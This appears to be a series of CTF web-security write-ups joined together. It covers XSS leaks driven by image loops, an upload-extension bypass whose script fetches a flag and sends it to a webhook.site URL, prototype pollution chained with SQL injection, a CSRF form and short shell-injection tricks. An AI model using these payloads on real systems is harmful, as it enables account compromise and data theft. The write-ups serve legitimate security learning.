If identifier only contains 0-9a-f, I could solve it.
I feel I was closer to the real answer after I solved the simpler one. Maybe just one step or two steps, but I can't find what is it even I spent hours on it.
There are one final question need to be resolved:
After a while, I gave up this way. I believe that It's impossible to access identifier[x].
But I haven't gave up on this challenge yet, can't access identifier[x] doesn't mean I can't conquer this challenge.
I want to access it because I want to know what is it. What if there is another way to know without accessing it?
If there is a place for us to store the identifier we found so far, we can do something like this:
<body>
<script>
var identifier = 'z123'
var found = 'z'
</script>
<div id=a>a</div>
<div id=b>b</div>
<img src=x onerror=identifier<found+1?found+=1&&leak:identifier<found+a.innerText?found+=a.innerText&&leak:identifier<found+b.innerText?found+=b.innerText&&leak:keep_trying>
</body>
By comparing the concatenated string, we know what is the nth element in identifier. In order to know all the elements, we need to have something like for loop.
We can achieve this by setting img src again and gain:
<body>
<script>
var count = 1
</script>
<img src=x onerror=count<10?count++&&src++:console.log(count)>
</body>
count++&&src++
can be reaplced with count++ + src++
.
So now we have two more problems:
For the first question, every request we want to send need to have one img element because once we do image.loading++
, request will be sent and that's all, there are no second chance.
I checked the documentations about <img>
to see if there is anything I can use. After trying for a while, to my surprise, src
and srcset
work!
When you have srcset
and src
both set, the browser ignore src
and load srcset
only. But when you do img.src++
to update the src attribute(not real "update" because change from NaN
to NaN
also works), the browser will load the image url in srcset
again.
This will load x2
for 10 times.
<body>
<script>
var count = 1
</script>
<img src=x1 srcset=x2 onerror=count<10?count+++this.src++:123>
</body>
For the second question, I found that I can utilize location.hash
! Because I can update the hash part without refreshing and it's allow to update location from opener. I can combine #
and identifier then compare with location.hash
+ character.
<img id=n0 alt=# src=//server/0>
<img id=n1 alt=1 src=//server/1>
<img id=n2 alt=2 src=//server/2>
<img id=n10 alt=a src=//server/a>
<img id=lo srcset=//server/loop onerror=
n0.alt+identifier<location.hash+1?n1.src+++lo.src++:
n0.alt+identifier<location.hash+2?n2.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n10.src+++lo.src++:
...>
There is one important thing to note, location.hash
can't be #
. If url is url#
, hash is an empty string instead of #
. To solve this problem, I start with #1
and assume the first character of identifier is 1
. If it's not, I will close the window and try again.
Piece all the things I mentioned above, the flow will be something like this:
location.hash
to make sure it reflects the info we just found. We can hold the response on server side until we updated location.hash
.location.hash
gets updated, let loop continue by responding the request on server. img got response and trigger onerror event again with new location.hash
, leak next character.It's a little bit complicated because we need to run a server to control the image based loop by holding the response and release it at the right time.
Here is the poc.html, I updated the format for better readability:
var payload = `
<img srcset=//my_server/0 id=n0 alt=#>
<img srcset=//my_server/1 id=n1 alt=a>
<img srcset=//my_server/2 id=n2 alt=b>
<img srcset=//my_server/3 id=n3 alt=c>
<img srcset=//my_server/4 id=n4 alt=d>
<img srcset=//my_server/5 id=n5 alt=e>
<img srcset=//my_server/6 id=n6 alt=f>
<img srcset=//my_server/7 id=n7 alt=g>
<img srcset=//my_server/8 id=n8 alt=h>
<img srcset=//my_server/9 id=n9 alt=i>
<img srcset=//my_server/a id=n10 alt=j>
<img srcset=//my_server/b id=n11 alt=k>
<img srcset=//my_server/c id=n12 alt=l>
<img srcset=//my_server/d id=n13 alt=m>
<img srcset=//my_server/e id=n14 alt=n>
<img srcset=//my_server/f id=n15 alt=o>
<img srcset=//my_server/g id=n16 alt=p>
<img srcset=//my_server/h id=n17 alt=q>
<img srcset=//my_server/i id=n18 alt=r>
<img srcset=//my_server/j id=n19 alt=s>
<img srcset=//my_server/k id=n20 alt=t>
<img srcset=//my_server/l id=n21 alt=u>
<img srcset=//my_server/m id=n22 alt=v>
<img srcset=//my_server/n id=n23 alt=w>
<img srcset=//my_server/o id=n24 alt=x>
<img srcset=//my_server/p id=n25 alt=y>
<img srcset=//my_server/q id=n26 alt=z>
<img srcset=//my_server/r id=n27 alt=0>
<img srcset=//my_server/s id=n28>
<img srcset=//my_server/t id=n29>
<img srcset=//my_server/u id=n30>
<img srcset=//my_server/v id=n31>
<img srcset=//my_server/w id=n32>
<img srcset=//my_server/x id=n33>
<img srcset=//my_server/y id=n34>
<img srcset=//my_server/z id=n35>
<img id=lo srcset=//my_server/loop onerror=
n0.alt+identifier<location.hash+1?n0.src+++lo.src++:
n0.alt+identifier<location.hash+2?n1.src+++lo.src++:
n0.alt+identifier<location.hash+3?n2.src+++lo.src++:
n0.alt+identifier<location.hash+4?n3.src+++lo.src++:
n0.alt+identifier<location.hash+5?n4.src+++lo.src++:
n0.alt+identifier<location.hash+6?n5.src+++lo.src++:
n0.alt+identifier<location.hash+7?n6.src+++lo.src++:
n0.alt+identifier<location.hash+8?n7.src+++lo.src++:
n0.alt+identifier<location.hash+9?n8.src+++lo.src++:
n0.alt+identifier<location.hash+n1.alt?n9.src+++lo.src++:
n0.alt+identifier<location.hash+n2.alt?n10.src+++lo.src++:
n0.alt+identifier<location.hash+n3.alt?n11.src+++lo.src++:
n0.alt+identifier<location.hash+n4.alt?n12.src+++lo.src++:
n0.alt+identifier<location.hash+n5.alt?n13.src+++lo.src++:
n0.alt+identifier<location.hash+n6.alt?n14.src+++lo.src++:
n0.alt+identifier<location.hash+n7.alt?n15.src+++lo.src++:
n0.alt+identifier<location.hash+n8.alt?n16.src+++lo.src++:
n0.alt+identifier<location.hash+n9.alt?n17.src+++lo.src++:
n0.alt+identifier<location.hash+n10.alt?n18.src+++lo.src++:
n0.alt+identifier<location.hash+n11.alt?n19.src+++lo.src++:
n0.alt+identifier<location.hash+n12.alt?n20.src+++lo.src++:
n0.alt+identifier<location.hash+n13.alt?n21.src+++lo.src++:
n0.alt+identifier<location.hash+n14.alt?n22.src+++lo.src++:
n0.alt+identifier<location.hash+n15.alt?n23.src+++lo.src++:
n0.alt+identifier<location.hash+n16.alt?n24.src+++lo.src++:
n0.alt+identifier<location.hash+n17.alt?n25.src+++lo.src++:
n0.alt+identifier<location.hash+n18.alt?n26.src+++lo.src++:
n0.alt+identifier<location.hash+n19.alt?n27.src+++lo.src++:
n0.alt+identifier<location.hash+n20.alt?n28.src+++lo.src++:
n0.alt+identifier<location.hash+n21.alt?n29.src+++lo.src++:
n0.alt+identifier<location.hash+n22.alt?n30.src+++lo.src++:
n0.alt+identifier<location.hash+n23.alt?n31.src+++lo.src++:
n0.alt+identifier<location.hash+n24.alt?n32.src+++lo.src++:
n0.alt+identifier<location.hash+n25.alt?n33.src+++lo.src++:
n0.alt+identifier<location.hash+n26.alt?n34.src+++lo.src++:
n35.src+++lo.src++>`
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
</body>
<script>
var payload = // see above
payload = encodeURIComponent(payload)
var baseUrl = 'https://my_server'
// reset first
fetch(baseUrl + '/reset').then(() => {
start()
})
async function start() {
// assume identifier start with 1
console.log('POC started')
if (window.xssWindow) {
window.xssWindow.close()
}
window.xssWindow = window.open(`https://challenge-0421.intigriti.io/?error=${payload}#1`, '_blank')
polling()
}
function polling() {
fetch(baseUrl + '/polling').then(res => res.text()).then((token) => {
// guess fail, restart
if (token === '1zz') {
fetch(baseUrl + '/reset').then(() => {
console.log('guess fail, restart')
start()
})
return
}
if (token.length >= 10) {
window.xssWindow.postMessage({
type: 'waf',
identifier: token,
str: '<img src=xxx onerror=alert("flag{THIS_IS_THE_FLAG}")>',
safe: true
}, '*')
}
window.xssWindow.location = `https://challenge-0421.intigriti.io/?error=${payload}#${token}`
// After POC finsihed, polling will timeout and got error message, I don't want to print the message
if (token.length > 20) {
return
}
console.log('token:', token)
polling()
})
}
</script>
</html>
And it's the code for server:
var express = require('express')
const app = express()
app.use(express.static('public'));
app.use((req, res, next) => {
res.set('Access-Control-Allow-Origin', '*');
next()
})
const handlerDelay = 100
const loopDelay = 550
var initialData = {
count: 0,
token: '1',
canStartLoop: false,
loopStarted: false,
canSendBack: false
}
var data = {...initialData}
app.get('/reset', (req, res) => {
data = {...initialData}
console.log('======reset=====')
res.end('reset ok')
})
app.get('/polling', (req, res) => {
function handle(req, res) {
if (data.canSendBack) {
data.canSendBack = false
res.status(200)
res.end(data.token)
console.log('send back token:', data.token)
if (data.token.length < 14) {
setTimeout(() => {
data.canStartLoop = true
}, loopDelay)
}
} else {
setTimeout(() => {
handle(req, res)
}, handlerDelay)
}
}
handle(req, res)
})
app.get('/loop', (req, res) => {
function handle(req, res) {
if (data.canStartLoop) {
data.canStartLoop = false
res.status(500)
res.end()
} else {
setTimeout(() => {
handle(req, res)
}, handlerDelay)
}
}
handle(req, res)
})
app.get('/:char', (req, res) => {
// already start stealing identifier
if (req.params.char.length > 1) {
res.end()
return
}
console.log('char received', req.params.char)
if (data.loopStarted) {
data.token += req.params.char
console.log('token:', data.token)
data.canSendBack = true
res.status(500)
res.end()
return
}
// first round
data.count++
if (data.count === 36) {
console.log('initial image loaded, start loop')
data.count = 0
data.loopStarted = true
data.canStartLoop = true
}
res.status(500)
res.end()
})
app.listen(5555, () => {
console.log('5555')
})
Flow in details:
xssWindow
)xssWindow.location.hash
When poc.html loaded, it loads images immediately so we need to ignore the first request and start img loop after images loaded. I can't use lazy loading here because payload will become too big and cause server side error.
The /polling part can be replaced with websocket, we I am lazy to do it so I use long polling to send data back from server to poc.html.
Both poc.html and server side code can be improved for sure, but I didn't because I am lazy and I don't have time to do it so I use workaround instead, like assuming identifier start with 1
and trying to post message after we have part of identifier when length > 10.
This XSS challenge is quite hard but also extremely interesting! I spent almost a week to try to solve it, every day I think I am closer, and finally I made it.
Thanks @terjanq for this fun XSS challenge. I learned a lot from it.
const fs = require('fs');
const axios = require('axios');
const express = require('express');
const multer = require('multer');
const mustacheExpress = require('mustache-express');
const Redis = require('ioredis');
const { v4: uuidv4 } = require('uuid');
const RECAPTCHA_SITE_KEY = process.env.RECAPTCHA_SITE_KEY || '[site key is empty]';
const RECAPTCHA_SECRET_KEY = process.env.RECAPTCHA_SECRET_KEY || '[secret key is empty]';
const SECRET = process.env.SECRET || 's3cr3t';
const FLAG = process.env.FLAG || 'Neko{dummy}';
const REDIS_URL = process.env.REDIS_URL || 'redis://127.0.0.1:6379';
const app = express();
app.use(require('cookie-parser')());
app.use('/static', express.static('static'));
app.engine('mustache', mustacheExpress());
app.set('view engine', 'mustache');
app.set('views', __dirname + '/views');
const port = 5000;
const storage = multer.diskStorage({
destination: './tmp/'
});
const redis = new Redis(REDIS_URL);
let uploadedFiles = {};
let checkedFiles = {};
const ID_TABLE = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
function generateId(n=8) {
let res = '';
for (let i = 0; i < n; i++) {
res += ID_TABLE[Math.random() * ID_TABLE.length | 0];
}
return res;
}
// admin only!
function adminRequired(req, res, next) {
if (!('secret' in req.cookies)) {
res.status(401).render('error', {
message: 'Unauthorized'
});
return;
}
if (req.cookies.secret !== SECRET) {
res.status(401).render('error', {
message: 'Unauthorized'
});
return;
}
next();
}
app.get('/', (req, res) => {
res.render('index');
});
app.get('/flag', adminRequired, (req, res) => {
res.send(FLAG);
});
const SIGNATURES = {
'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
'jpg': new Uint8Array([0xff, 0xd8])
};
function compareUint8Arrays(known, input) {
if (known.length !== input.length) {
return false;
}
for (let i = 0; i < known.length; i++) {
if (known[i] !== input[i]) {
return false;
}
}
return true;
}
function isValidFile(ext, data) {
// extension should not have special chars
if (/[^0-9A-Za-z]/.test(ext)) {
return false;
}
// prevent uploading files other than images
if (!(ext in SIGNATURES)) {
return false;
}
const signature = SIGNATURES[ext];
return compareUint8Arrays(signature, data.slice(0, signature.length));
}
const upload = multer({
storage,
limits: {
files: 1,
fileSize: 100 * 1024
}
});
app.post('/upload', upload.single('file'), (req, res) => {
const { file } = req;
fs.readFile(file.path, (err, data) => {
const buf = new Uint8Array(data);
const fileName = file.originalname;
const ext = fileName.split('.').slice(-1)[0];
// check if the file is safe
if (isValidFile(ext, buf)) {
const newFileName = uuidv4() + '.' + ext;
fs.writeFile('uploads/' + newFileName, buf, (err, data) => {
let id;
do {
id = generateId();
} while (id in uploadedFiles);
uploadedFiles[id] = newFileName;
res.json({
status: 'success',
id
});
});
} else {
res.json({
status: 'error',
message: 'Invalid file'
});
}
});
});
// show uploaded contents
const MIME_TYPES = {
'png': 'image/png',
'jpg': 'image/jpeg'
};
app.get('/uploads/:fileName', (req, res) => {
const { fileName } = req.params;
const path = 'uploads/' + fileName;
// no path traversal
res.type('text/html'); // prepare for error messages
if (/[/\\]|\.\./.test(fileName)) {
res.status(403).render('error', {
message: 'No hack'
});
return;
}
// check if the file exists
try {
fs.accessSync(path);
} catch (e) {
res.status(404).render('error', {
message: 'Not found'
});
return;
}
// send proper Content-Type header
try {
const ext = fileName.split('.').slice(-1)[0];
res.type(MIME_TYPES[ext]);
} catch {}
fs.readFile(path, (err, data) => {
res.send(data);
});
});
app.get('/:id', (req, res) => {
const { id } = req.params;
if (!(id in uploadedFiles)) {
res.status(404).render('error', {
message: 'Not found'
});
return;
}
res.render('file', {
path: uploadedFiles[id],
checked: id in checkedFiles,
siteKey: RECAPTCHA_SITE_KEY,
id
});
});
// report image to admin
app.post('/:id/report', async (req, res) => {
const { id } = req.params;
const { token } = req.query;
/*
const params = `?secret=${RECAPTCHA_SECRET_KEY}&response=${encodeURIComponent(token)}`;
const url = 'https://www.google.com/recaptcha/api/siteverify' + params;
const result = await axios.get(url);
if (!result.data.success) {
res.json({
status: 'error',
message: 'reCAPTCHA failed'
});
return;
}
*/
redis.rpush('query', id);
redis.llen('query', (err, result) => {
console.log('[+] reported:', id);
console.log('[+] length:', result);
res.json({
status: 'success',
length: result
});
})
})
// admin only
app.get('/:id/confirm', adminRequired, (req, res) => {
const { id } = req.params;
if (id in uploadedFiles) {
checkedFiles[id] = true;
}
res.send('done');
});
app.listen(port, '0.0.0.0', () => {
console.log(`Example app listening at http://localhost:${port}`);
});
We can upload a file but the file extension is restricted. For /uploads/:fileName
, the default content type is text/html
, so our goal is to bypass the extension check below:
const SIGNATURES = {
'png': new Uint8Array([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]),
'jpg': new Uint8Array([0xff, 0xd8])
};
function compareUint8Arrays(known, input) {
if (known.length !== input.length) {
return false;
}
for (let i = 0; i < known.length; i++) {
if (known[i] !== input[i]) {
return false;
}
}
return true;
}
function isValidFile(ext, data) {
// extension should not have special chars
if (/[^0-9A-Za-z]/.test(ext)) {
return false;
}
// prevent uploading files other than images
if (!(ext in SIGNATURES)) {
return false;
}
const signature = SIGNATURES[ext];
return compareUint8Arrays(signature, data.slice(0, signature.length));
}
If you are familiar with JavaScript, it's easy to find a valid ext
which is toString
, a default function in Object.prototype
, so 'toString' in SIGNATURES
is always true.
How about SIGNATURES[ext].length
? In JavaScript, function also has length
attribute, represent the length of parameters:
function test(a,b,c){}
console.log(test.length) // 3
console.log(Object.prototype.toString.length) // 0
So, we can use .toString
as file extension and bypass the check. Here is the content:
<script>
fetch("https://webhook.site/36381da2-ccfc-44c6-b4bf-3cbaace01347?start=1")
fetch("/flag").then(res => res.text()).then(res => {
return fetch("https://webhook.site/36381da2-ccfc-44c6-b4bf-3cbaace01347?flag="+res)
})
</script>
Next, we need to report this file to admin. The route for reporting is app.post('/:id/report')
but our image url is /uploads/{uuid}.toString
, so we need to encoded /
to %2f
: /uploads%2fuuid.toString/report
It's harder version of Build a Panel
, much harder.
It's similar to easier version but with a huge difference:
the admin will only visit sites that match the following regex ^https:\/\/build-a-better-panel\.dicec\.tf\/create\?[0-9a-z\-\=]+$
So we can't use the trick last time because it's not valid url. Our goal changed, we need to perform XSS.
I check every html and js file but it seems quite normal except one file, custom.js
:
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
const displayWidgets = async () => {
const userWidgets = await (await fetch('/panel/widgets', {method: 'post', credentials: 'same-origin'})).json();
let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
const timeData = await (await fetch('/status/time')).json();
const weatherData = await (await fetch('/status/weather')).json();
const welcomeData = await (await fetch('/status/welcome')).json();
const widgetData = {'time': timeData['data'], 'weather': weatherData['data'], 'welcome': welcomeData['data']};
const widgetPanel = document.getElementById('widget-panel');
for(let name of Object.keys(toDisplayWidgets)){
const widgetType = toDisplayWidgets[name]['type'];
const panel = document.createElement('div');
panel.className = 'panel panel-default';
const panelTitle = document.createElement('h5');
panelTitle.className = 'panel-heading';
panelTitle.textContent = name;
const panelData = document.createElement('p');
panelData.className = 'panel-body';
if(widgetData[widgetType]){
panelData.textContent = widgetData[widgetType];
}else{
panelData.textContent = 'The widget type does not exist, make sure you spelled it right.';
}
panel.appendChild(panelTitle);
panel.appendChild(panelData);
widgetPanel.appendChild(panel);
}
};
window.onload = (_event) => {
displayWidgets();
};
It's the core of the panel page. It gets widgets from api and put it to the page via textContent
, so sad, seems no room for XSS.
But this part gets my attention:
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
It's like a hint for me,
Is it something to do with prototype pollution?
So I googled: prototype pollution xss
and find this as my first search result: Client-Side Prototype Pollution
I quickly checked the list and I saw something interesting: Embedly Cards
<script>
Object.prototype.onload = 'alert(1)'
</script>
<blockquote class="reddit-card" data-card-created="1603396221">
<a href="https://www.reddit.com/r/Slackers/comments/c5bfmb/xss_challenge/">XSS Challenge</a>
</blockquote>
<script async src="https://embed.redditmedia.com/widgets/platform.js" charset="UTF-8"></script>
No wonder they put a embedded reddit on the page! Everything has their meaning, even the smallest thing is a clue.
So if we can bypass prototype pollution check, we can perform XSS.
How to bypass this?
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
I played around with this function for an hour but find nothing.
When I was googling about prototype pollution articles, suddenly I recall that {}.__proto__ = Object.prototype
So we can pollute the prototype without __proto__
!
({}).constructor
equals to Object
, so ({}).constructor.prototype
is Object.prototype
POC:
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
} else {
target[key] = source[key];
}
}
}
const userWidgets = JSON.parse(`{
"constructor": {
"prototype": {
"onload": "console.log(1)"
}
}
}`)
let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
console.log(Object.prototype.onload) // console.log(1)
Now we can perform XSS via embedly prototype pollution. In order to get correct data structure, we need to check how to create and get a widget:
// create widget
app.post('/panel/add', (req, res) => {
const cookies = req.cookies;
const body = req.body;
if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
if(err){
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
console.log(cookies);
console.log(body);
res.send('something went wrong');
}
});
app.post('/panel/widgets', (req, res) => {
const cookies = req.cookies;
if(cookies['panelId']){
const panelId = cookies['panelId'];
query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
db.all(query, [panelId], (err, rows) => {
if(!err){
let panelWidgets = {};
for(let row of rows){
try{
panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
}catch{
}
}
res.json(panelWidgets);
}else{
res.send('something went wrong');
}
});
}
});
It uses JSON.parse
for widget data so when creating a new widget, the widget data should be JSON.stringify
first.
We can utilize JS itself to help us generate the request body:
console.log(
JSON.stringify({
widgetName: 'constructor',
widgetData: JSON.stringify({
prototype: {
onload: `alert(1)`
}
})
})
)
result:
{
"widgetName":"constructor",
"widgetData":
"{\"prototype\":{\"onload\":\"alert(1)\"}}"
}
So we can create a widget and perform XSS, cool! Let's try to create it and visit the page:
Oh no...I totally forgot CSP.
At first I was trying to bypass CSP and run inline script, but it seems it's a dead end.
Then I thought: "Maybe there is another way to run script without onload?", so I googled embedly prototype pollution
and found this tweet:
https://twitter.com/k33r0k/status/1319411417745948673
The comment below is really helpful to me! Before that I only know I can set onload
and perform XSS on embedly but I don't know why.
Now I know, it's via iframe attributes.
And we can use srcdoc
as well, it's a good news!
So I tried couple of things like:
srcdoc="<img src=x onerror=alert(1)>"
srcdoc="<script src=x></script>"
But none of them work because of CSP(sorry I am not familiar with CSP, I don't know it will be block as well)
I check the CSP carefully again, it's no way to run script:
default-src 'none';
script-src 'self' http://cdn.embedly.com/;
style-src 'self' http://cdn.embedly.com/;
connect-src 'self' https://www.reddit.com/comments/;
At that moment I was about to gave up, but I decided to take a shower first.
Taking a shower is a magical thing, it can remind you those small but important pieces.
Oh wait, what if I can get the flag without running JS?
I can reuse the payload for build a panel
!
Because the source code is almost the same, the attack should still works!
The CSP allow self style so we can do this:
<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>
The browser will send request to the target url and it will create a new widget with flag as title, just like when I have done in build a panel
.
final payload:
console.log(
JSON.stringify({
widgetName: 'constructor',
widgetData: JSON.stringify({
prototype: {
srcdoc: `<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>`
}
})
}
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<link rel=stylesheet href=\\\"https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1\\\"></link>\"}}"}
We can then submit the designated panel to admin via debugid
: https://build-a-better-panel.dicec.tf/create?debugid=311257212eefwef
Check the panel in the payload above, you can see the flag:
Awesome challenge! I learned a lot from it.
You can login with any username, and then there is a page to change permission: http://124.71.205.122:10002/change.php
The request looks like this, it's in JSON format:
POST /changeapi.php HTTP/1.1
Host: 124.71.205.122:10002
Content-Length: 19
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://124.71.205.122:10002
Referer: http://124.71.205.122:10002/change.php
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=1ab6387f551b235d26d1c88a3685d752
Connection: close
{"username":"huli"}
There is also a bot, you can send it any link so we can do CSRF here via <form>
and enctype="text/plain"
, like this:
<body>
<form id=a action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">
<input name='{"username":"fweewfwef", "abc":"' value='123"}'>
</form>
<script>
a.submit()
</script>
</body>
The form above will send request with body {"username":"fweewfwef", "abc":"=123"}
, and content type text/plain
. The server did not check the content type so it's fine.
After updating the permission, just visit home.php and get the flag.
題目限制是只能輸入 5 個字(含)以內的指令
因為是第一次看到這種類型的題目,所以試了很多指令想看有沒有什麼線索:
env
set
lsof
ps
ps ax
stat
wc /*
ps e
後來用這個關鍵字:command line length restriction ctf
,找到了 hitcon2017 的類似題目文章:
原本想用 xxd 那個來解,還特別寫了一個腳本來轉換:
const axios = require('axios')
const command = 'cat /flag.txt'
const baseUrl = 'http://207.180.200.166:8000/?cmd='
function generateCommand(command) {
return command.split('').map(char => char.charCodeAt(0).toString(16))
}
let hexs = generateCommand(command)
let groups = []
for(let i=0; i<hexs.length; i+=2) {
groups.push(hexs[i] + (hexs[i+1] || ''))
}
let commands = groups.map(s => [
'>' + s,
'ls>>y',
'rm ' + s[0] + '*'
])
commands.push([
'>z',
'>-p',
'>-r',
'xxd *',
'sh z'
])
commands = commands.flat()
async function run() {
for(let i=0; i<commands.length; i++) {
console.log((i+1) + '/' + commands.length)
console.log('command:' + commands[i])
try {
const response = await axios(baseUrl + encodeURIComponent(commands[i]))
console.log('response:', response.data)
} catch(err) {
console.log('err', err.toString())
return;
}
}
}
run()
但總之最後一步 xxd *
跑不過就是跑不過,local 可以但遠端不行,不確定是為什麼
之後照著前面幾篇的思路,我突然想到只要:
>cat
* /f*
就搞定了,根本不用弄那麼多招
再次覺得 bash 的指令跟 glob 真的很神奇,然後這題跟 web 其實沒什麼關係XD
話說這題學到了 * ? 這些 pattern 還有 nl 這指令其實也可以印內容,可以用 ls /usr/bin/??
看有哪些兩個字的指令
It's a service for creating and viewing "panel" and "widget":
To be honest, when I was working on this chall, I didn't even check what type of widget we can create.
Because the first thing is always the same: check the source code if available:
/*
* @DICECTF 2021
* @AUTHOR Jim
*/
const admin_key = 'REDACTED'; // NOTE: The keys are not literally 'REDACTED', I've just taken them away from you :)
const secret_token = 'REDACTED';
const express = require('express');
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const sqlite3 = require('sqlite3');
const { v4: uuidv4 } = require('uuid');
const app = express();
const db = new sqlite3.Database('./db/widgets.db', (err) => {
if(err){
return console.log(err.message);
}else{
console.log('Connected to sql database');
}
});
let query = `CREATE TABLE IF NOT EXISTS widgets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
panelid TEXT,
widgetname TEXT,
widgetdata TEXT);`;
db.run(query);
query = `CREATE TABLE IF NOT EXISTS flag (
flag TEXT
)`;
db.run(query, [], (err) => {
if(!err){
let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
db.run(innerQuery);
}else{
console.error('Could not create flag table');
}
});
app.use(express.static(__dirname + '/public'));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(function(_req, res, next) {
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
res.setHeader("X-Frame-Options", "DENY");
return next();
});
app.set('view engine', 'ejs');
app.get('/', (_req, res) => {
res.render('pages/index');
});
app.get('/create', (req, res) => {
const cookies = req.cookies;
const queryParams = req.query;
if(!cookies['panelId']){
const newPanelId = queryParams['debugid'] || uuidv4();
res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'lax'});
}
res.redirect('/panel/');
});
app.get('/panel/', (req, res) => {
const cookies = req.cookies;
if(cookies['panelId']){
res.render('pages/panel');
}else{
res.redirect('/');
}
});
app.post('/panel/widgets', (req, res) => {
const cookies = req.cookies;
if(cookies['panelId']){
const panelId = cookies['panelId'];
query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
db.all(query, [panelId], (err, rows) => {
if(!err){
let panelWidgets = {};
for(let row of rows){
try{
panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
}catch{
}
}
res.json(panelWidgets);
}else{
res.send('something went wrong');
}
});
}
});
app.get('/panel/edit', (_req, res) => {
res.render('pages/edit');
});
app.post('/panel/add', (req, res) => {
const cookies = req.cookies;
const body = req.body;
if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
if(err){
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
console.log(cookies);
console.log(body);
res.send('something went wrong');
}
});
const availableWidgets = ['time', 'weather', 'welcome'];
app.get('/status/:widgetName', (req, res) => {
const widgetName = req.params.widgetName;
if(availableWidgets.includes(widgetName)){
if(widgetName == 'time'){
res.json({'data': 'now :)'});
}else if(widgetName == 'weather'){
res.json({'data': 'as you can see widgets are not fully functional just yet'});
}else if(widgetName == 'welcome'){
res.json({'data': 'No additional data here but feel free to add other widgets!'});
}
}else{
res.json({'data': 'error! widget was not found'});
}
});
// This function is for admin bot setup
app.get('/admin/generate/:secret_token', (req, res) => {
if(req.params['secret_token'] == admin_key){
res.cookie('token', secret_token, {maxage: 10800, httponly: true, sameSite: 'lax'});
}
res.redirect('/');
});
app.get('/admin/debug/add_widget', async (req, res) => {
const cookies = req.cookies;
const queryParams = req.query;
if(cookies['token'] && cookies['token'] == secret_token){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
db.run(query, (err) => {
if(err){
console.log(err);
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
res.redirect('/');
}
});
app.listen(31337, () => {
console.log('express listening on 31337')
});
The source code is quite long compare to other challs. But if you look carefully, you will find that only these two snippets are important:
query = `CREATE TABLE IF NOT EXISTS flag (
flag TEXT
)`;
db.run(query, [], (err) => {
if(!err){
let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
db.run(innerQuery);
}else{
console.error('Could not create flag table');
}
});
app.get('/admin/debug/add_widget', async (req, res) => {
